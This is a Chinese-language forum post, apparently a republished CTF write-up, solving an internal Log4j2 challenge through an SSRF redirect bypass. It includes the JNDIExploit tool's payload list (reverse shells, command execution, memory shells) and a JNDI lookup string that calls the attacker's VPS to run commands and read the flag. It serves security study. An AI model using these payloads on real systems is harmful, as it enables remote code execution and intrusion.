"/>
·设为首页收藏本站📧邮箱修改🎁免费下载专区💎积分✅卡密📒收藏夹👽聊天室
DZ插件网 门户 网站安全 查看内容

一道关于Log4j2的CTF题目

2022-5-4 20:35| 发布者: admin| 查看: 1264| 评论: 0|原作者: 余生安全团队

摘要: 申明:该文章仅供安全学习,请在本地搭建实验,切勿在非授权状态下对其他站点进行测试,如产生任何后果皆由其本人承担!转载请...

申明:该文章仅供安全学习,请在本地搭建实验,切勿在非授权状态下对其他站点进行测试,如产生任何后果皆由其本人承担!

转载请注明出处,感谢

一道关于 Log4j2 的 CTF 题目

1. 题目介绍

这是一道公司内部的 CTF 拉练题目,选择了前段时间刚被爆出的 Log4j2 漏洞,打开后发现是个登录框。

2. 题目分析

分析 URL 可以发现登录框在登录后会跳转到 GET 变量 redirect 指定值,该变量值会通过 URI.getHost() 函数检查 URL 完整度。由于题目说了是 Log4j2,尝试使用 payload 去验证,直接使用 DNSLog 外带被拒绝。

根据文章 https://www.blackhat.com/docs/us-17/thursday/us- 17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf 可知,在解析 URL 完整性的过程中,PHP 会将 google.com 认定为 authority,而 @evil.com 在锚点 # 后面会被认定为 fragment,最后由于 @ 在 URL 中的特殊性,会导致在 PHP 中被解析地址为 evil.com

同样的解析过程也会出现在 JAVA 的 URI.getHost() 中。

3. 解题过程

将 URL 定向到我们自己 VPS NC 监听的端口,服务器会发起一个 SSRF 请求,并且请求的内容会被 Log4j2 记录下来(转成 POST 传参是为了不用去编码,原本的 GET 型传参也是可以实现的,只是需要将 URL 进行编码)。

这里我们使用 JNDIExploit (https://github.com/Mr-xn/JNDIExploit-1) 工具,它继承自 JNDI-Injection-Exploit (https://github.com/welk1n/JNDI-Injection-Exploit),并在此基础上添加了各种高版本 JDK 的绕过方法。使用 java -jar JNDIExploit.jar -h 查看参数说明,其中 --ip 参数为必选参数。

Usage: java -jar JNDIExploit.jar [options]
  Options:
  * -i, --ip       Local ip address
    -l, --ldapPort Ldap bind port (default: 1389)
    -p, --httpPort Http bind port (default: 8080)
    -u, --usage    Show usage (default: false)
    -h, --help     Show this help

使用 java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [VPS IP] 执行后会启用一个 LDAP 服务和一个 HTTP 服务。

使用 java -jar JNDIExploit.jar -u 查看支持的 LDAP 格式。

Supported LADP Queries
* all words are case INSENSITIVE when send to ldap server

[+] Basic Queries: ldap://127.0.0.1:1389/Basic/[PayloadType]/[Params], e.g.
    ldap://127.0.0.1:1389/Basic/Dnslog/[domain]
    ldap://127.0.0.1:1389/Basic/Command/[cmd]
    ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/Basic/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/Basic/TomcatEcho
    ldap://127.0.0.1:1389/Basic/SpringEcho
    ldap://127.0.0.1:1389/Basic/WeblogicEcho
    ldap://127.0.0.1:1389/Basic/TomcatMemshell1
    ldap://127.0.0.1:1389/Basic/TomcatMemshell2  ---need extra header [Shell: true]
    ldap://127.0.0.1:1389/Basic/JettyMemshell
    ldap://127.0.0.1:1389/Basic/WeblogicMemshell1
    ldap://127.0.0.1:1389/Basic/WeblogicMemshell2
    ldap://127.0.0.1:1389/Basic/JBossMemshell
    ldap://127.0.0.1:1389/Basic/WebsphereMemshell
    ldap://127.0.0.1:1389/Basic/SpringMemshell

[+] Deserialize Queries: ldap://127.0.0.1:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
    ldap://127.0.0.1:1389/Deserialization/URLDNS/[domain]
    ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
    ldap://127.0.0.1:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/Deserialization/CommonsBeanutils2/TomcatEcho
    ldap://127.0.0.1:1389/Deserialization/C3P0/SpringEcho
    ldap://127.0.0.1:1389/Deserialization/Jdk7u21/WeblogicEcho
    ldap://127.0.0.1:1389/Deserialization/Jre8u20/TomcatMemshell1
    ldap://127.0.0.1:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
    ldap://127.0.0.1:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2    ---ALSO support other memshells

[+] TomcatBypass Queries
    ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain]
    ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd]
    ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho
    ldap://127.0.0.1:1389/TomcatBypass/SpringEcho
    ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell1
    ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell2   ---need extra header [Shell: true]
    ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell

[+] GroovyBypass Queries
    ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd]
    ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]

[+] WebsphereBypass Queries
    ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port]  ---windows NOT supported
    ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell
    ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path]   ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
  • 目前支持的所有 PayloadType
    • Dnslog: 用于产生一个 DNS 请求,与 DNSLog 平台配合使用,对 Linux/Windows 进行了简单的适配
    • Command: 用于执行命令,如果命令有特殊字符,支持对命令进行 Base64 编码后传输
    • ReverseShell: 用于 Linux 系统的反弹 shell,方便使用
    • TomcatEcho: 用于在中间件为 Tomcat 时命令执行结果的回显,通过添加自定义 header cmd: whoami 的方式传递想要执行的命令
    • SpringEcho: 用于在框架为 SpringMVC/SpringBoot 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行的命令
    • WeblogicEcho: 用于在中间件为 Weblogic 时命令执行结果的回显,通过添加自定义 header cmd: whoami 的方式传递想要执行的命令
    • TomcatMemshell1: 用于植入 Tomcat 内存 shell, 支持 Behinder shellBasic cmd shell
    • TomcatMemshell2: 用于植入 Tomcat 内存 shell, 支持 Behinder shellBasic cmd shell, 使用时需要添加额外的 HTTP Header Shell: true,推荐使用此方式
    • SpringMemshell: 用于植入 Spring 内存 shell, 支持 Behinder shellBasic cmd shell
    • WeblogicMemshell1: 用于植入 Weblogic 内存 shell, 支持 Behinder shellBasic cmd shell
    • WeblogicMemshell2: 用于植入 Weblogic 内存 shell, 支持 Behinder shellBasic cmd shell,推荐使用此方式
    • JettyMemshell: 用于植入 Jetty 内存 shell, 支持 Behinder shellBasic cmd shell
    • JBossMemshell: 用于植入 JBoss 内存 shell, 支持 Behinder shellBasic cmd shell
    • WebsphereMemshell: 用于植入 Websphere 内存 shell, 支持 Behinder shellBasic cmd shell
  • 目前支持的所有 GadgetType
    • URLDNS
    • CommonsBeanutils1
    • CommonsBeanutils2
    • CommonsCollectionsK1
    • CommonsCollectionsK2
    • C3P0
    • Jdk7u21
    • Jre8u20
    • CVE_2020_2551
    • CVE_2020_2883
  • WebsphereBypass 中的 3 个动作:
    • list:基于 XXE 查看目标服务器上的目录或文件内容
    • upload:基于 XXEjar 协议将恶意 jar 包上传至目标服务器的临时目录
    • rce:加载已上传至目标服务器临时目录的 jar 包,从而达到远程代码执行的效果(这一步本地未复现成功,抛 java.lang.IllegalStateException: For application client runtime, the client factory execute on a managed server thread is not allowed. 异常,有复现成功的小伙伴麻烦指导下)

介绍完了工具我们接着做题,在我们的 VPS 服务器上起一个 Web 服务,可以使用 apache 或者 nginx,也可以直接起 Python 的简易服务 python3 -m http.server 端口号,将 ${jndi:ldap://45.xxx.xx.xxx:1389/TomcatBypass/TomcatEcho} 写入到 Web 目录下的 index.html,最后  SSRF 访问该 html 执行命令,读取到 Flag

运行工具,启动服务。

index.html 文件内容。

在数据包中增加自定义 header cmd: 要执行的命令redirect 参数则设置为我们 VPS 服务上的 index.html 文件,可以列出到 / 目录下的所有文件。

将上面的命令修改为读取 fllaagggg 文件即可获取到 flag

4. 文献参考

  1. JNDIExploit:https://github.com/Mr-xn/JNDIExploit-1
  2. 记一次 vulfocus 靶场 log4j2 命令执行漏洞复现:https://www.cnblogs.com/zdcool/p/15722272.html




上一篇:实习生凭借自己写的脚本年终奖多了好几千
下一篇:指纹识别工具Whatweb

鲜花

握手

雷人

路过

鸡蛋

评论

您需要登录后才可以发表言论 登录立即注册
创宇盾启航版免费网站防御网站加速服务
投诉/建议联系

discuzaddons@vip.qq.com

未经授权禁止转载,复制和建立镜像,
如有违反,按照公告处理!!!
  • 联系QQ客服
  • 添加微信客服

联系DZ插件网微信客服|最近更新|Archiver|手机版|小黑屋|DZ插件网! ( 鄂ICP备20010621号-1 )|网站地图 知道创宇云防御

您的IP:18.118.144.239,GMT+8, 2024-12-25 21:54 , Processed in 0.175760 second(s), 47 queries , Gzip On, Redis On.

Powered by Discuz! X5.0 Licensed

© 2001-2024 Discuz! Team.

关灯
扫一扫添加微信客服
QQ客服返回顶部
返回顶部